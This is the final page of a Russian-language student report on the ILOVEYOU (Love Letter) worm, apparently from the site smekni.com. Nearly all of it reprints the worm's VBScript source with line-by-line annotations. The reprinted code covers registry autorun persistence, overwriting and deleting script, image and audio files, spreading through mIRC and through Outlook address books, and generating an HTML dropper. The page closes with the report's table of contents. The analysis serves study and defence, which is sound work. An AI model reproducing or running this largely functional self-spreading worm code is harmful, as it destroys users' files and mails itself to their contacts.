Смекни!
smekni.com

Интернет – червь I LOVE YOU (LOVE LETTER FOR YOU). Принцип работы. Меры безопасности для защиты от заражения и предотвращения деструктивных действий (стр. 3 из 3)

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"

При наличии файла WIN-BUGSFIX.exe в каталоге Download ( C: \ ) в реестре прописывается ключ для его запуска при загрузке Windows и стартовой страницей Microsoft Internet Explorer прописывается файл about:blank [10]

end if

end sub

====================Процедура деструктивных действий================

-----------------Подпрограмма поиска на дисках ------------

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then Производится проверка типа дисков и поиск по всем дискам

folderlist(d.path&"\")

end if

Next

listadriv = s

end sub

----------------Подпрограмма заражения файлов ------------

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path) Проверяются расширения файлов [11]

ext=lcase(ext)

s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.OpenTextFile(f1.path,2,true) Если расширения файлов .VBS или .VBE, то вирус записывает себя вместо них.

ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then Если расширения файлов .JS ; .JSE ; .CSS ; .WSH ; .SCT ;

set ap=fso.OpenTextFile(f1.path,2,true) .HTA, то вирус также записывает себя вместо них

ap.write vbscopy и меняет расширения на .VBS

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path) Вирус удаляет оригинальные файлы.

cop.copy(folderspec&"\"&bname&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true) Если расширения файлов .JPG ; .JPE ,то вирус записывает себя вместо них и меняет расширения на .VBS

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs") Вирус удаляет оригинальные файлы.

fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.CreateTextFile(f1.path&".vbs") Если расширения файлов .MP2 ; .MP3 ,то вирус создает файлы с такими же именами, но

mp3.write vbscopy расширениями .VBS

mp3.close

set att=fso.GetFile(f1.path) Вирус присваивает оригинальным файлам .MP2 или .MP3 атрибут «Hidden»

att.attributes=att.attributes+2

end if

if (eq<>folderspec) then Вирус ищет в системе программу mIRC32 ( чат )

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then и создает при ее наличии файл script.ini [12]

set scriptini=fso.CreateTextFile(folderspec&"&bsol;script.ini")

-----------Скрипт для программы mIRC32 (script.ini)--------------

scriptini.WriteLine "[script]"

scriptini.WriteLine ";mIRC Script"

scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"

scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"

scriptini.WriteLine ";"

scriptini.WriteLine ";Khaled Mardam-Bey"

scriptini.WriteLine ";http://www.mirc.com"

scriptini.WriteLine ";"

scriptini.WriteLine "n0=on 1:JOIN:#:{"

scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" Эта часть скрипта осуществляет рассылку всем

scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"&bsol;LOVE-LETTER-FOR-YOU.HTM" участникам чата копии вируса в виде HTM файла [13]

scriptini.WriteLine "n3=}"

scriptini.close

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec) Вирус запоминает пути к зараженным файлам

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub

--------Подпрограмма создания ключа в реестре -----------

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("WScript.Shell") Запись ключа в реестр

regedit.RegWrite regkey,regvalue

end sub

-------------Подпрограмма чтения ключа в реестр -----------

function regget(value)

Set regedit = CreateObject("WScript.Shell")

regget=regedit.RegRead(value) Проверка записи ключа в реестр

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec) Данной процедурой вирус подготавливает отправку сообщений со своей копией по электронной почте.

On Error Resume Next [14]

dim msg

if (fso.GetFolderExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

=================Процедура рассылки копий вируса по электронной почте =============

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("WScript.Shell")

set out=WScript.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI") Вирус получает доступ к адресной книге программы Outlook Express.[15]

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER&bsol;Software&bsol;Microsoft&bsol;WAB&bsol;"&a)

if (regv="") then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x) Организуется цикл для рассылки по всем адресам адресной книги [16]

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER&bsol;Software&bsol;Microsoft&bsol;WAB&bsol;"&malead)

if (regad="") then

set male=out.CreateItem(0) Вирус создает тело письма с адресом отправителя, темой и

male.Recipients.Add(malead) текстом. [17]

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"&bsol;LOVE-LETTER-FOR-YOU.TXT.vbs") Присоединяет к письму файл с телом вируса [18]

male.Send Отсылает письмо адресату

regedit.RegWrite "HKEY_CURRENT_USER&bsol;Software&bsol;Microsoft&bsol;WAB&bsol;"&malead,1,"REG_DWORD"

end if

x=x+1

next

regedit.RegWrite "HKEY_CURRENT_USER&bsol;Software&bsol;Microsoft&bsol;WAB&bsol;"&a,a.AddressEntries.Count

else Если нет адресной книги, то письма не создаются

regedit.RegWrite “HKEY_CURRENT_USER&bsol;Software&bsol;Microsoft&bsol;WAB&bsol;”&a,a.AddressEntries.Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub

============Процедура создания HTM страницы==========

sub html

On Error Resume Next

dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _

"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _

"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _

"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _

"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _

"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _

"<?-?BODY><?-?HTML>"&vbcrlf& _

"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _

"<!--?-??-?"&vbcrlf& _

"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _

"?-??-?-->"&vbcrlf& _

"<?-?SCRIPT>"&vbcrlf& _

"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _

"<!--"&vbcrlf& _

"on error resume next"&vbcrlf& _

"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _

"aw=1"&vbcrlf& _

"code="

dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _

"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _

"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _

"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _

"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _

"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _

"wri.write code4"&vbcrlf& _

"wri.close"&vbcrlf& _

"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _

"if (err.number=424) then"&vbcrlf& _

"aw=0"&vbcrlf& _

"end if"&vbcrlf& _

"if (aw=1) then"&vbcrlf& _

"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _

"window.close"&vbcrlf& _

"end if"&vbcrlf& _

"end if"&vbcrlf& _

"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _

"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _

"?-??-?-->"&vbcrlf& _

"<?-?SCRIPT>"

dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")

dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")

dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")

dt5=replace(dt4,chr(94)&chr(45)&chr(94),"&bsol;")

dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")

dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")

dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")

dt6=replace(dt3,chr(94)&chr(45)&chr(94),"&bsol;")

set fso=CreateObject("Scripting.FileSystemObject")

set c=fso.OpenTextFile(WScript.ScriptFullName,1)

lines=Split(c.ReadAll,vbcrlf)

l1=ubound(lines)

for n=0 to ubound(lines)

lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))

lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

lines(n)=replace(lines(n),"&bsol;",chr(37)+chr(45)+chr(37))

if (l1=n) then

lines(n)=chr(34)+lines(n)+chr(34)

else

lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"

end if

next

set b=fso.CreateTextFile(dirsystem+"&bsol;LOVE-LETTER-FOR-YOU.HTM")

b.close

set d=fso.OpenTextFile(dirsystem+"&bsol;LOVE-LETTER-FOR-YOU.HTM",2)

d.write dt5

d.write join(lines,vbcrlf)

d.write vbcrlf

d.write dt6

d.close

end sub


С О Д Е Р Ж А Н И Е.

1. Введение ……………………………………………………………………. 2

2. Направления развития компьютерных вирусов, наметившиеся в

последнее время ……………………………………………………………. 3

3. Анализ алгоритма интернет-червя I LOVE YOU (LOVE LETTER FOR

YOU) ………………………………………………………………………… 4

4. Особенности алгоритма вируса, выводы и некоторые рекомендации по

борьбе с подобными типами вирусов………………………………………. 7

5. Приложение с описанием вируса ……………………………………………9